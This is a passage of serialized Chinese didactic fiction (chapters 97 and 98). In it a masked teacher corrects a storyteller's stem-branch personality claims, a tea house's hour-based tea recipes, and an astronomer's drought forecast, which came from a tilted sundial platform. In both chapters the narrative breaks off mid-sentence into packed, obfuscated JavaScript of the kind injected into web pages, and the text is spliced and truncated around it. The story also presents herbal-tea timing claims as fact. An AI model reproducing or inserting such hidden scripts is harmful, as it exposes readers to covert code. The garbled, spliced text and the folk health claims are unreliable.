97.干支谳 楔子·茶馆错解 清河镇有座“天时茶馆”,这茶馆不卖别的,单卖“时辰茶”——子时茶、丑时茶、寅时茶……依着十二时辰,每个时辰的茶方不同。掌柜姓“时”,名“知节”,四十有五,开茶馆三代。 时掌柜有个癖好:每日午时三刻,必请说书先生“冯快嘴”在茶馆说书。冯快嘴三十来岁,口齿伶俐,专说些“天干地支、阴阳五行”的故事。镇里人都爱听,茶馆日日满座。 这日,冯快嘴正说到“十干十二支”,醒木一拍,唾沫横飞:“列位看官!这十干者,甲至癸,乃天地之数!十二支,子至亥,乃时辰之序!可您知道么?这干支相配,大有讲究!好比那甲子年,是木鼠年,鼠性机灵,木主生发,所以甲子年出生的人,聪明伶俐,但性子浮躁……” 茶馆里众人听得津津有味。时掌柜在柜台后拨着算盘,嘴角含笑。 这时,茶馆角落坐下一人。来人戴着一顶用细篾编的斗笠,斗笠边缘缀着几片柳叶。身上是件洗得发白的麻布长衫,腰间用草绳系一柄木剑,剑身光滑。脸上蒙着一方粗布,布色灰白,沾着尘土。 “小二,一壶午时茶。”声音平平。 小二阿时,十八岁,忙沏了茶送过去。那人接了茶,却不喝,静静听着冯快嘴说书。 冯快嘴越说越起劲:“……这乙丑年,是木牛年,牛性敦厚,木主生发,所以乙丑年出生的人,老实本分,但性子倔强……丙寅年,是火虎年,虎性威猛,火主炎上,所以丙寅年出生的人,勇猛果敢,但性子急躁……” 茶馆里众人点头称是。有那好问的,便问:“冯先生,那丁卯年呢?” “丁卯年是火兔年!”冯快嘴眉飞色舞,“兔性温顺,火主炎上,所以丁卯年出生的人,温和善良,但性子软弱……” 这时,角落里那人忽然开口,声音不大,却清晰入耳:“错了。” 茶馆里一静。 冯快嘴一愣,看向角落:“这位客官,何错之有?” 那人放下茶碗,缓缓道:“十干者,甲至癸。十二支,子至亥。干支相配,用以纪年、纪月、纪日、纪时,乃天地自然之序,非是定人性情、断人吉凶之术。你方才所言甲子年木鼠、乙丑年木牛、丙寅年火虎、丁卯年火兔,已是牵强附会。又说甲子年出生者聪明伶俐但浮躁,乙丑年出生者老实本分但倔强,丙寅年出生者勇猛果敢但急躁,丁卯年出生者温和善良但软弱——更是大错特错。” 茶馆里众人哗然。冯快嘴面红耳赤,醒木一拍:“这位客官!我冯快嘴说书十年,这干支性情之说,自古有之!你怎敢说是错!” “自古有之,未必为对。”那人站起身,走到堂中。他身形瘦削,麻布长衫在穿堂风中微微拂动。“干支纪时,本是便民。甲、乙、丙、丁、戊、己、庚、辛、壬、癸,为十天干;子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥,为十二地支。天干地支相配,六十载一轮回,用以纪年,使人知岁月流转,如此而已。若以干支定人性情,则甲子年所生万千人,岂能皆聪明浮躁?乙丑年所生万千人,岂能皆老实倔强?此以偏概全,贻误世人。” 冯快嘴气得胡子乱颤:“你……你胡说!” 时掌柜忙从柜台后走出,打圆场道:“这位客官,冯先生也是为茶馆添些热闹。您若不喜听,可移步雅座……” 那人摇头,看向满堂茶客:“列位可知,这干支本义?” 众人摇头。 “天干十数,地支十二数,相配成六十甲子,本为纪时。”那人声音清朗,如泉流石上,“甲者,草木初生,破甲而出;乙者,草木初长,曲折柔韧;丙者,光明炳然,如日初升;丁者,强壮坚实,如人之壮;戊者,茂盛繁荣,如土之厚;己者,纪识万物,如地之载;庚者,更新变革,如秋之收;辛者,辛辣艰辛,如金之砺;壬者,妊养万物,如怀胎之象;癸者,归藏闭藏,如冬之藏。此十天干之本义,乃天地万物生长收藏之序。” 他顿了顿,继续道:“子者,孳也,阳气始萌,孳生于下;丑者,纽也,寒气纽结,阳气未发;寅者,移也,阳气欲出,引而移之;卯者,冒也,万物冒地而出;辰者,震也,阳气震动,万物生长;巳者,巳也,阳气毕布,阴气始起;午者,仵也,阴阳交仵,阳气极盛;未者,昧也,阳气稍衰,阴气渐长;申者,伸也,阴气渐伸,万物收敛;酉者,就也,万物成熟,阴气就位;戌者,灭也,阳气微灭,万物凋零;亥者,核也,阳气闭藏,万物归根。此十二地支之本义,乃一日十二时辰阳气消长之象。” 茶馆里鸦雀无声。众人听得入神,连冯快嘴也忘了反驳。 “干支纪时,使人知天时,顺四时,应万物。”那人看向冯快嘴,“冯先生以干支断人性情,谓甲子年生者必聪明浮躁,乙丑年生者必老实倔强——此乃穿凿附会,误人子弟。人之性情,生于父母,成于教化,岂可凭出生年干支而定?若如此,同年同月同日同时所生之人,性情岂非皆同?然世间有善有恶,有智有愚,有勇有怯,岂是干支可定?” 冯快嘴哑口无言,额头冒汗。 时掌柜忙道:“客官高见!只是……这茶馆说书,本就是图个乐子……” “图乐子可以,但不可谬种流传。”那人从怀中取出一卷发黄的旧册,递给冯快嘴,“这是《干支本义》,冯先生不妨一观。说书人,当以正视听、明事理为先,不可为博人一笑,而传虚妄之言。” 冯快嘴接过,翻开一看,首页便写着:“十干者,甲至癸,万物生长收藏之序。十二支,子至亥,一日阴阳消长之象。干支相配,纪时而已,非可定人性情、断人吉凶。此理不明,贻害无穷。” 他看得面红耳赤,双手发颤。 那人又看向时掌柜:“掌柜的,你这茶馆卖‘时辰茶’,子时茶、丑时茶、寅时茶……可知道这十二时辰,本是何意?” 时掌柜一愣:“这……祖上传下的方子……” “祖传方子,未必合时。”那人道,“子时阳气始萌,当饮温润之茶,以助阳气生发。你这子时茶,却加了薄荷,性凉,与阳气生发相悖。丑时寒气纽结,当饮温热之茶,以散寒结。你这丑时茶,却加了菊花,性寒,更增寒气。寅时阳气欲出,当饮升发之茶,以助阳气。你这寅时茶,却加了决明子,性凉,抑遏阳气……” 他一一道来,从子时说到亥时,每说一句,时掌柜脸色便白一分。 “……午时阴阳交仵,阳气极盛,当饮平和之茶,以调阴阳。你这午时茶,却加了姜片,性热,更助阳亢。未时阳气稍衰,阴气渐长,当饮温和之茶,以顺阴阳。你这未时茶,却加了黄连,性苦寒,伤阳气……” “客官……客官怎知……”时掌柜冷汗涔涔。 “茶性如人性,当顺天时。”那人道,“子时当温,丑时当热,寅时当升,卯时当发,辰时当长,巳时当和,午时当平,未时当温,申时当收,酉时当藏,戌时当敛,亥时当养。你这十二时辰茶,有三四样不合时宜。长此以往,饮者不得其益,反受其害。” 茶馆里众人窃窃私语。有那常来饮茶的,恍然大悟:“怪不得我喝了子时茶,常觉腹冷!”“我喝了午时茶,常觉口干!” 时掌柜面如土色,拱手道:“请……请先生赐教!” 那人从怀中又取出一卷旧册,递给时掌柜:“这是《十二时辰茶方》,依天时阴阳而配。掌柜的可按方调配,莫再谬传。” 时掌柜双手接过,如获至宝。 那人又看向满堂茶客:“列位,天干地支,本是纪时之便。子午卯酉,本是时辰之序。茶饮饮食,本是养生之道。莫要被虚妄之言所误,莫要被谬传之方所害。知天时,顺四时,应万物,这才是正理。” 说罢,他放下一枚铜钱在桌上,拿起斗笠,转身欲走。 “先生留步!”冯快嘴忽然喊道,他捧着那卷《干支本义》,躬身一礼,“先生一席话,如醍醐灌顶。我冯快嘴说书十年,自以为博学,今日方知是坐井观天、谬种流传。从今往后,我必改正,再不以干支妄断人性情!” 时掌柜也深深一揖:“先生赐方之恩,没齿难忘!从今日起,天时茶馆必按正配方!” 那人回身,微微点头:“知错能改,善莫大焉。说书人,当以正视听为要;开茶馆,当以顺天时为要。切记,切记。” 他戴好斗笠,走出茶馆。午后的阳光洒在他身上,麻布长衫泛着淡淡的光。 茶馆里静了片刻,忽然爆发出一阵议论。 “这位先生是谁啊?” “说得在理!干支本是纪时,哪能定人性情?” “我那小子就是甲子年生,可一点也不浮躁!” “我喝了三年子时茶,老是腹冷,原来如此!” …… 冯快嘴收起醒木,对众人拱手:“列位,今日这书,我说错了。从明日起,我重说‘干支本义’,再不断人性情!” 时掌柜也道:“从明日起,本茶馆按新方配时辰茶,各位可来品尝!” 茶馆里响起一片叫好声。 一、 冯快嘴的悔悟 却说冯快嘴回到家中,一夜未眠。他翻着那卷《干支本义》,越看越心惊。原来天干地支,本是纪时之用,甲子乙丑,只是序号,哪有木鼠木牛、火虎火兔之说?至于以干支断人性情,更是无稽之谈。 “我误人子弟十年啊!”他捶胸顿足。 次日,冯快嘴早早来到天时茶馆。时掌柜已按新方配好了十二时辰茶,茶香与往日不同,更显清正。 冯快嘴走上说书台,醒木一拍,却不说话。他看着满堂茶客,忽然深深一躬。 “列位,我冯快嘴,错了。” 茶馆里一静。 “我错在三点。”冯快嘴直起身,声音沉重,“第一错,以干支断人性情。甲子乙丑,只是纪年序号,哪有什么木鼠木牛?人各有性,岂可因年而定?第二错,穿凿附会。说什么甲子年生者聪明浮躁,乙丑年生者老实倔强——全是胡说!我邻居就是乙丑年生,为人狡猾;我表兄就是甲子年生,性子沉稳。这如何说得通?第三错,谬种流传。我说了十年,听者成千上万,被我误导者不知凡几。此罪大矣!” 他取出那卷《干支本义》:“这位先生赐我宝卷,我彻夜通读,方知大错。今日,我便按这《干支本义》,为列位说一段真正的‘十干十二支’!” 醒木再拍,冯快嘴清了清嗓子: “话说这十干者,甲、乙、丙、丁、戊、己、庚、辛、壬、癸,乃古人观天地万物生长收藏之序而创。甲如草木破甲,乙如草木曲折,丙如日光明亮,丁如人丁强壮,戊如大地茂盛,己如纪识承载,庚如更新变革,辛如艰辛磨砺,壬如妊养怀胎,癸如归藏闭藏。十天干,便是万物一生之象!” “再说十二支,子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥,乃古人观一日阴阳消长而创。子时阳气始萌,丑时寒气纽结,寅时阳气欲出,卯时万物冒地,辰时阳气震动,巳时阴气始起,午时阴阳交仵,未时阳气稍衰,申时阴气渐伸,酉时万物成熟,戌时阳气微灭,亥时阳气闭藏。十二地支,便是一日阴阳之变!” “干支相配,成六十甲子,用以纪年、纪月、纪日、纪时,使人知岁月流转、四时更迭,如此而已!哪有什么木鼠火牛、定人性情之说?那全是后世方士穿凿附会,误人子弟!” 他滔滔不绝,将《干支本义》中的道理一一道来。从十天干的本义,说到十二地支的由来;从干支纪年的起源,说到六十甲子的循环。言辞恳切,引经据典,听得满堂茶客如痴如醉。 “所以说,”冯快嘴最后道,“咱们百姓,知干支可以纪时、知岁便好,切莫信那妄断吉凶、妄定性情之说!人之命运,在己不在天;人之性情,在教不在生!” 茶馆里响起雷鸣般的掌声。 时掌柜亲自奉上一壶午时茶:“冯先生,请用茶!这是按新方配的午时茶,平和调阴阳,正合先生此时饮用!” 冯快嘴接过,一饮而尽,只觉一股暖流自腹中升起,通体舒泰,不由赞道:“好茶!这才是顺天时的茶!” 从那天起,冯快嘴再也不说“干支断性情”的书了。他改说《干支本义》,说《十二时辰》,说《四时更迭》。听书的人反而更多,都说冯先生“改邪归正,说得在理”。 二、 天时茶馆的新茶 时掌柜那日得了《十二时辰茶方》,如获至宝。他连夜研读,方知祖传的茶方有三四成不合时宜。比如子时茶加薄荷,虽能提神,却性凉抑阳,与子时阳气始萌相悖;午时茶加姜片,虽能暖胃,却性热助阳,与午时阴阳交仵相冲。 “我误人健康三年啊!”他懊悔不已。 次日,时掌柜闭门一日,按新方重新配制十二时辰茶。子时茶去薄荷,加枸杞、桂圆,温润助阳;丑时茶去菊花,加红枣、生姜,温热散寒;寅时茶去决明子,加陈皮、苏叶,升发阳气……每样茶都依时辰阴阳而配,务求顺天应时。 第三日,天时茶馆重新开张。门口挂出新招牌:“顺天时应阴阳十二时辰茶”。茶客们将信将疑,进来品尝。 “咦?这子时茶,不凉了,喝了暖洋洋的!” “这午时茶,不燥了,喝了很平和!” “这亥时茶,喝了浑身舒泰,睡得香!” …… 茶客们交口称赞。时掌柜在柜台后拨着算盘,嘴角含笑,但这笑与往日不同,多了几分踏实。 有那老茶客问:“时掌柜,这新方从何而来?” 时掌柜便取出那卷《十二时辰茶方》:“是一位先生所赐。那位先生说,茶性如人性,当顺天时。子时当温,丑时当热,寅时当升……如此调配,方能养生。” “那位先生何在?” “不知。那日来过,指点我与冯先生后,便离去了。” “真是高人!” “是啊,若不是他,我还日日喝着逆时的茶呢!” …… 天时茶馆的生意越发红火。镇里人不仅来喝茶,还来问时辰、问养生。时掌柜便按那卷茶方,细细解说,还常常提醒茶客:“茶只是辅助,养生关键在顺天时、应四时。子时当眠,丑时当深眠,寅时当醒……起居有常,饮食有节,方是正道。” 茶馆里还多了块木牌,上写:“十干者,甲至癸,万物生长之序。十二支,子至亥,一日阴阳之变。饮茶顺时,起居应时,方得养生之道。” 三、 茶客们的醒悟 自那日后,天时茶馆的茶客们也有了变化。 从前,他们来喝茶听书,只当消遣。听了冯快嘴的“干支断性情”,便回家对号入座:“我是丙寅年火虎,难怪性子急!”“我是丁卯年火兔,难怪性子软!”夫妻吵架,也说:“你是庚申年金猴,尖酸刻薄!”“你是癸亥年水猪,懒惰愚笨!”闹得家宅不宁。 如今,他们再来喝茶听书,听到的是“干支本义”,是“顺天应时”。回家后,不再以干支断人,而是观天时、顺四时。 “爹,我是甲子年生,是不是就聪明浮躁?” “傻孩子,甲子只是纪年,哪能定人性情?你聪不聪明,浮不浮躁,在你自己,不在年号。” “娘,我是乙丑年生,是不是就老实倔强?” “乖女,乙丑只是序号,你老实还是狡猾,倔强还是柔顺,看你如何为人处世,与生年何干?” 夫妻吵架也少了: “你这人,怎么这般急躁!” “我急躁是我性子急,与丙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“先生!”冯快嘴抢步下台,深深一揖,“先生教诲,没齿难忘!我冯快嘴已改邪归正,再不说妄言了!” 时掌柜也忙过来行礼:“先生赐方之恩,小店生意兴隆,茶客称道!都是托先生的福!” 那人微微点头:“好。” 阿时奉上午时茶。那人接过,品了一口,点头:“嗯,这回对了。午时阴阳交仵,茶性平和,不助阳,不伤阴,正是顺天时应阴阳。” 时掌柜喜道:“全赖先生指点!” 冯快嘴恭敬问道:“先生这三月,去了何处?” “走了些地方,见了些人说书。”那人缓缓道,“有以干支断人吉凶的,有以八字妄言命运的,有以星宿妄断福祸的。看得多了,就想,若是他们都明白干支本义,会不会就少些迷惑?” 众人默然。 “十干者,甲至癸。十二支,子至亥。”那人念出那十二个字,声音清朗,“天干十数,地支十二数,相配成六十甲子,纪年而已。如同尺子有刻度,秤杆有星花,是为量物称重。若有人以尺子断人性情,以秤杆言人吉凶,列位说,可笑不可笑?” 茶客们哄笑:“可笑!” “然世间多有此等人。”那人道,“以干支断人性情,以八字言人命运,以星宿断人福祸。此皆穿凿附会,误人子弟。更有甚者,借此敛财骗人,害人不浅。” 他看向满堂茶客:“列位今日在此,听正书,饮正茶,知正理,是幸事。望列位将正理传于家人、友邻,使人皆知:干支纪时,便民而已,不可妄信;顺天应时,养生而已,不可妄求。” 众人齐声道:“谨记先生教诲!” 那人起身,放下一枚铜钱,走向门外。 “先生留步!”冯快嘴忽然喊道,“还未请教先生高姓大名!” 那人回身,斗笠下的粗布微微晃动:“我姓时,名序,字顺之。” 说罢,他走出茶馆,消失在午后的街巷中。 众人怔怔望着门外,半晌,时掌柜喃喃道:“时序……顺之……顺天时,应时序……好名字,好名字。” 冯快嘴长揖到地:“时序先生,受我一拜!” 从那以后,天时茶馆的生意越发兴旺。冯快嘴成了镇上最受尊敬的说书先生,因为他只说正理,不传妄言。时掌柜的“顺天时应阴阳十二时辰茶”也名声远播,连外镇的人都慕名而来。 茶馆里的那块木牌,被人拓印了去,挂在家中堂上,以为警醒。 尾声干支谣 又过了三年,清河镇出了件趣事:镇上孩童玩耍时,都会唱一首童谣: 天干十,地支十二, 纪年纪月纪时日。 甲子乙丑是序号, 不是木鼠与木牛。 人说丙寅性子急, 我说急慢在己心。 人说丁卯性子软, 我说刚柔在己身。 干支本是纪时用, 莫要妄言定吉凶。 顺天时应四时, 饮茶起居要应时。 若问这理谁人教, 茶馆来了时序公。 有外乡人听到,问镇上老人:“此时序公是何人?” 老人便会指着天时茶馆说:“是位教人说正书、卖正茶的先生。他来了,冯快嘴不说妄言了,时掌柜不卖逆时茶了,咱们镇不迷信干支断人了。” “他现在何处?” “不知道。教完正理,他就走了。” “还会回来么?” “等咱们忘了正理,传起妄言的时候,他大概就会回来吧。” 外乡人若有所思,走进天时茶馆,要了一壶午时茶。茶香清正,平和宜人。他慢慢饮着,看着茶馆里坐满的茶客,听着冯快嘴正在说一段“顺天时应四时”的书。 也许那位时序先生,正在某个地方,看人说正书、卖正茶吧。他想。 他饮尽杯中茶,茶水温润,直暖到心里。这时序的味道,原来就在一盏茶、一段书中。 本章诫世 一、 干支真义训 - 十干者,甲至癸 - 十二支,子至亥 - 破解法:为民者,自问“可知干支本义?可知纪年之便?可曾以干支妄断人?可曾顺天时应四时?” 二、 三谬三正 - 冯快嘴之谬在“妄断”——以干支定人性情,穿凿附会 - 时掌柜之谬在“逆时”——十二时辰茶不合时宜,逆天悖时 - 茶客之谬在“迷信”——盲目信从妄言,对号入座 - 三正:冯快嘴改说正书,时掌柜改卖正茶,茶客改信正理 三、 时序大道 - 深层隐喻:干支者,纪时之器,如尺如秤,本为便民。然世人多以之妄断吉凶、妄定性情,此乃舍本逐末。天干地支,天地自然之序,人当顺天应时,而非以之妄测天命 - 终极指向:人之处世,贵在明理。明干支之理,则知纪时之便,不惑于妄言;明时序之理,则知顺天应时,不逆于阴阳。尺可量物,不可量人;秤可称重,不可称命。明此理者,不为妄言所惑,不为迷信所迷 干支偈: 清河镇中说书人,干支妄断误众生。 快嘴妄言木鼠年,掌柜逆时十二茶。 茶客迷信对号坐,三人皆忘干支本。 白衣先生来点化,十干十二本纪时。 顺天应时方为道,莫以干支妄断人。 后世叹: 十干者,甲至癸,十二支,子至亥。 快嘴妄言断人性,掌柜逆时茶不灵。 茶客迷信对号坐,三人皆忘干支义。 时序先生来点化,干支本为纪时生。 三月正理传全镇,天时茶馆享美名。 正是: 清河茶馆说书场,干支妄断误人多。 快嘴谬言木火性,掌柜逆时茶不和。 茶客迷信对号坐,三人皆忘时序理。 白衣点化干支义,十干十二本纪年。 顺天应时饮正茶,天时茶馆美名传。 98.道躔谳 楔子·观星楼谬 青阳镇有座“观星楼”,楼高三层,是镇里观天象、测节气之地。楼主姓“观”,名“天时”,五十有二,掌观星三代。 观家三代以观测天象、指导农时为业。镇里农人依其所示,春耕夏耘,秋收冬藏,无不按时。观天时更是精通天文,常登楼观星,推算节气,在镇中颇有威望。 这年夏至,观天时在观星楼三层设坛,为镇人讲解天象。坛下聚了百十人,仰头倾听。 观天时手持星盘,指天画地:“列位乡邻!今日夏至,日行至黄道最北,谓之‘日北至’。这黄道者,日所行之道也。赤道者,当中之衡也。故夏至日长夜短,冬至日短夜长。此乃天地之道!” 众人纷纷点头。有老农问:“观楼主,今年雨水可丰?” 观天时观星盘,掐指推算:“依黄道赤道之象,今岁日行偏南,主旱。宜早作准备,蓄水防旱。” 众人哗然。青阳镇靠天吃饭,若遇旱年,收成大减。一时间人心惶惶。 这时,人群中走出一人。来人戴着一顶用蒲草编的斗笠,斗笠边缘缀着几颗磨光的石子,在日光下微微反光。身上是件洗得发白的粗布长衫,腰间用麻绳系一柄木剑,剑身光滑,隐有木纹。脸上蒙着一方葛巾,葛色灰白,沾着风尘。 “观楼主,”声音平静,“敢问这‘日行偏南,主旱’,是依何推算?” 观天时低头看去,见是个外乡人,心中不悦,但仍道:“依黄道赤道之象推算。日行黄道,夏至至北,冬至至南。今岁夏至,日行偏南三度,故主旱。” “偏南三度,何以主旱?” “这……古籍有载:日行偏南,阳气不足,阴气偏盛,故少雨。” “哪本古籍?” “这……”观天时语塞,面现愠色,“这位客官,我观家三代观星,从未出错。你若不信,可自去验证!” 那人却走上坛前,对众人拱手:“列位乡邻,天有黄道赤道,日有南北之行,此为天地自然。然以日行偏南三度便断言主旱,恐有失偏颇。” 观天时大怒:“你敢质疑我观家星术!” “非敢质疑,只问道理。”那人从怀中取出一卷发黄的古卷,展开示众,“此乃《浑天星图》,为前朝大贤所绘。图中明载:黄道者,日所行之道,斜交于赤道。夏至日行至北,冬至日行至南,年年如此,并非偏南偏北。所谓‘日行偏南三度’,或因观测误差,或因星盘不准,实乃常事,并非灾异之兆。” 众人伸长脖子看那古卷,见其上星辰密布,黄道赤道清晰可辨,果如所言。 观天时脸色涨红:“你……你一派胡言!我观家星盘乃祖传之物,岂会有误!” “星盘无误,观测或误。”那人收起古卷,声音清朗,“观楼主,我且问你:你以何物测日行?” “日晷!” “日晷置於何处?” “楼顶平台!” “平台可平?” “自然平!” “以何为据?” “以……以水平尺为据!” “水平尺可准?” “祖传之物,岂会不准!” 那人摇头,从怀中取出一物,却是个铜制罗盘,中间蓄水,水上浮一木针。 “此乃‘水准仪’,可测水平。敢请观楼主与我同登楼顶,一测平台可平?” 观天时骑虎难下,只得应允。众人簇拥着登楼。 至楼顶平台,果见一石制日晷立于中央。观天时指道:“这便是日晷,三代观测,从未有误!” 那人将水准仪置于日晷基座,众人围观,见木针微微偏向一侧。又移至平台四角,木针皆偏。 “平台东南高,西北低,倾斜约三度。”那人道,“日晷置于倾斜之台,所测日影自然偏斜。所谓‘日行偏南三度’,实为平台倾斜三度所致,并非天象。” 观天时如遭雷击,抢过水准仪亲自测量,果如所言。他双手颤抖,面如死灰。 “这……这怎会……” “楼建多年,地基沉降,平台倾斜,亦是常事。”那人道,“然以此误测,妄言旱灾,致使人心惶惶,农事失序,此罪大矣。” 坛下众人哗然。有老农怒道:“观楼主!我依你所言,已开始蓄水,费工费时,原来却是误测!” “我险些改种耐旱作物,若真改了,遇丰年反要歉收!” “观家三代观星,竟出此大错!” 观天时汗如雨下,对众人长揖到地:“观某……观某学艺不精,贻误乡邻,罪该万死!” 那人扶起他:“观楼主,天象观测,差之毫厘,谬以千里。平台倾斜三度,所测日影自然偏斜。你依此推算,断言旱灾,岂非谬误?更不该的是,你以‘古籍有载’搪塞,实则并无根据,此乃欺人自欺。” 观天时愧不能言。 那人又对众人道:“列位乡邻,天有黄道,日有躔行,地有赤道,居中为衡。此乃天地自然之理。然天象观测,需仪器精准,方法得当,更需实事求是,不可妄加附会。今日之事,可为鉴戒。” 他转向观天时:“观楼主,我有一言相劝。” “先生请讲!” “曰黄道,日所躔。曰赤道,当中权。”那人念出这十二字,声音朗朗,“黄道者,日行之道;赤道者,地中之衡。观测天象,当明此理。仪器要准,平台要平,观测要实,推算要慎。更不可妄言灾异,动摇人心。农人依时而作,若因误测而失时,则一年辛苦尽废,此责谁担?” 观天时深揖不起:“观某知罪!从今往后,必校验仪器,严谨观测,再不敢妄言!” 那人点头,从怀中取出两卷书,一卷递给观天时:“此乃《天文观测要旨》,详述仪器校验、观测之法。另一卷……”他展开示众,“此乃《农时与天象》,明载天象与农事之关联,可供列位参考。” 观天时双手接过,如获至宝。众人也纷纷传阅。 “另有一事,”那人道,“平台倾斜,需尽快修整。我可教诸位一法……” 他详述以水测平、以石垫基之法,众人听得仔细。 说毕,那人拱手告辞。观天时急问:“还未请教先生高姓大名!” 那人已下楼梯,声音传来:“我姓天,名道,字衡之。” “天道衡之……”观天时喃喃念着,对那背影深深一揖。 坛下众人也纷纷作揖。 一、 观天时的悔悟 观天时那夜未眠。他坐在观星楼顶,看着水准仪中的木针,又看着倾斜的平台,心中翻江倒海。 “我误人误己二十载啊!” 他想起父亲临终嘱咐:“天时啊,观星测象,关乎农时,关乎民生,一丝一毫也错不得。仪器要常校验,观测要再三核实,断不可妄言灾异。” 可他这些年,倚仗祖传星盘,自负观测无误,从未校验仪器,更未察平台倾斜。夏至观测,见日影偏南,便妄断旱灾,致使全镇惶恐,农事险些失序。 “若非天道先生点破,我岂非要酿成大祸!” 他翻开《天文观测要旨》,首页便写着:“观天象者,首重仪器。仪器不准,观测皆谬。次重方法,方法不当,推算皆误。三重核实,观测需反复,推算需谨慎。四重实事求是,不可妄加附会,不可妄言灾异。” 又看《农时与天象》,其中明载:“天象有常,农时有序。日行黄道,年有四季;地有赤道,岁有寒暑。然天象与农事,非一一对应。雨水丰歉,关乎风云,关乎地理,非独日行可定。观测者当明此理,不可妄断。” 观天时看得冷汗涔涔。原来自己这些年,只知皮毛,未明根本,更因自负而妄断,险些误了全镇农事。 次日,观天时召集镇人,在观星楼前当众谢罪。 “观某学艺不精,仪器不校,妄断旱灾,贻误乡邻,罪莫大焉!自今日起,观某重修观星楼,重校仪器,严谨观测,再不敢妄言一字!若再有误,愿受天谴!” 说罢,他命人拆了日晷,按天道先生所授之法,以水测平,重修平台。又取出祖传星盘,仔细校验,发现星盘亦有微小偏差。他按《天文观测要旨》之法,一一校正。 三日后,平台修平,星盘校正。观天时重新观测夏至日影,果不偏不倚。他当众公布:“今岁夏至,日行正位,并无偏南。前日所言旱灾,实为误测,列位不必恐慌,当按常例安排农事。” 众人见他说得诚恳,平台又确实修平,便渐释前嫌。有老农道:“观楼主知错能改,善莫大焉。只要往后观测精准,我等仍信你。” 观天时感激涕零,从此谨言慎行。每有观测,必先校验仪器,反复核实,方敢公布。遇有不解,必查阅古籍,请教高明,再不妄断。 观星楼前,他立了一块木牌,上书:“曰黄道,日所躔。曰赤道,当中权。观测贵准,推算贵慎,妄言灾异,贻害无穷。” 二、 农人们的醒悟 经此一事,青阳镇的农人们也醒悟过来。 从前,他们唯观天时之言是从。观天时说雨多,便多蓄水;观天时说旱,便改种耐旱作物;观天时说寒,便早收晚种。虽也看天吃饭,但更多是“看观楼主说话吃饭”。 如今,他们明白了:天象观测,只是参考。农事安排,还需看风云、看地理、看墒情、看农时。 “观楼主的话要听,但咱们自己也得看天看地!” “就是!天有黄道赤道,日有南北躔行,这是天理。但雨水丰歉,还得看云看风!” “农人种地,得因地制宜,因时制宜,不能全听人言!” 他们开始自己观察天象,学习农时。有那识字的老农,还借了《农时与天象》去抄录,传给子孙。 “这书上说得好:天象有常,农时有序。但天象与农事,非一一对应。得看风云变幻,看地理高低,看水土肥瘠。” “咱们青阳镇,东南高,西北低,雨水多从东南来。观星楼在镇东,平台若倾斜,测的日影自然偏斜。可见观测得看地方!” “往后啊,观楼主的话要听,但咱们自己也得琢磨,不能全信!” 这一年,青阳镇的农事安排,不再只听观天时一人之言。观天时观测天象,公布节气,农人们会结合自己的经验,商量着安排耕种。该蓄水时蓄水,该排水时排水,该早种时早种,该晚收时晚收。 夏去秋来,风调雨顺,并无旱灾。秋收时,五谷丰登,家家仓满。 观天时在观星楼前设坛谢天,当众道:“今岁丰收,非观某之功,乃天道自然,列位辛勤所致。观某从前自负,妄断天象,险些误了农时。往后必谨记教训,严谨观测,再不敢妄言!” 农人们纷纷道:“观楼主言重了!往后咱们互商互量,共谋农事!” 三、 修平台的故事 平台修平后,观天时在观星楼顶立了一块石碑,刻着修平台的经过,以为警示。碑文最后写道:“仪器不校,观测皆谬;平台不平,推算皆误。妄言灾异,贻害无穷。后之观天者,当以此为鉴。” 这碑文被拓印传开,附近乡镇的观星者、测象者纷纷来看。有那自负的,看了碑文,默然不语;有那严谨的,看了碑文,深以为然。 “观天时这碑立得好!咱们观测天象的,仪器得常校验!” “平台倾斜三度,日影就偏三度。这误差看似微小,推算起来,差之千里!” “往后咱们也得注意,平台要平,仪器要准,观测要实,不能想当然!” 有个外镇的观星者,看了碑文,回去一测自家观星台,发现也倾斜两度。他大惊,忙按天道先生所授之法修平,重新校验仪器。后来他观测天象,果然精准许多,从此对观天时感激不尽。 “若非观天时立此碑文,我还在误测误算呢!” “那位天道先生,真是高人!” 天道衡之的名声,渐渐在观星者中传开。都说有位戴蒲草斗笠、蒙葛巾的高人,精通天文,点破迷障,使人明“黄道赤道”之本义,知“观测推算”之要旨。 四、 三年后的夏至 三年后的夏至,观星楼前又聚满了人。观天时正在讲解天象。 “……故曰:黄道者,日所躔,年有四季;赤道者,当中权,岁有寒暑。然天象观测,贵在精准。平台要平,仪器要准,观测要实,推算要慎。更不可妄言灾异,动摇人心……” 他讲得仔细,众人听得认真。如今的观天时,每讲一句,必引实证;每推一理,必说依据。再不妄加附会,再不妄言灾异。 讲毕,有农人问:“观楼主,今岁雨水如何?” 观天时指着校正过的星盘:“依天象观测,今岁日行正轨,风云和顺,当是丰年。然雨水丰歉,关乎多方,列位还需看风云、看地理,因地制宜。” 众人点头称是。如今的农人们,也学会了观天看地,不再盲目听信。 这时,人群中走出一人。还是蒲草斗笠,粗布长衫,腰间木剑,脸上蒙着葛巾。他悄然走到坛前,仰头看着修平的平台、校正的日晷。 观天时一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“先生还会回来么?” “等你们忘了平台要平、仪器要准、观测要实、推算要慎的时候,我大概就会回来。” 他走了,蒲草斗笠在夏至的阳光下,泛着淡淡的金色。粗布长衫的下摆,在微风中轻轻拂动。 观天时对着那背影深深一揖,久久不起。 坛下众人也纷纷作揖。 尾声道躔谣 多年后,青阳镇的孩童玩耍时,会唱一首童谣: 黄道弯弯日所躔, 赤道横横当中权。 观星楼,观星人, 平台倾斜误测天。 言旱灾,人心惶, 农事险些误一年。 天道先生来点化, 水准一测平台斜。 仪器不校观测谬, 妄言灾异害无边。 重修平台校仪器, 严谨观测不妄言。 从此农人明事理, 看天看地看农时。 顺天应时尽人事, 五谷丰登年复年。 有外乡人听了,问镇里老人:“这天道先生是何人?” 老人便会指着观星楼说:“是位教人观天象、测地平的先生。他来了,观楼主知错了,平台修平了,仪器校正了,咱们农人也学会看天看地了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” 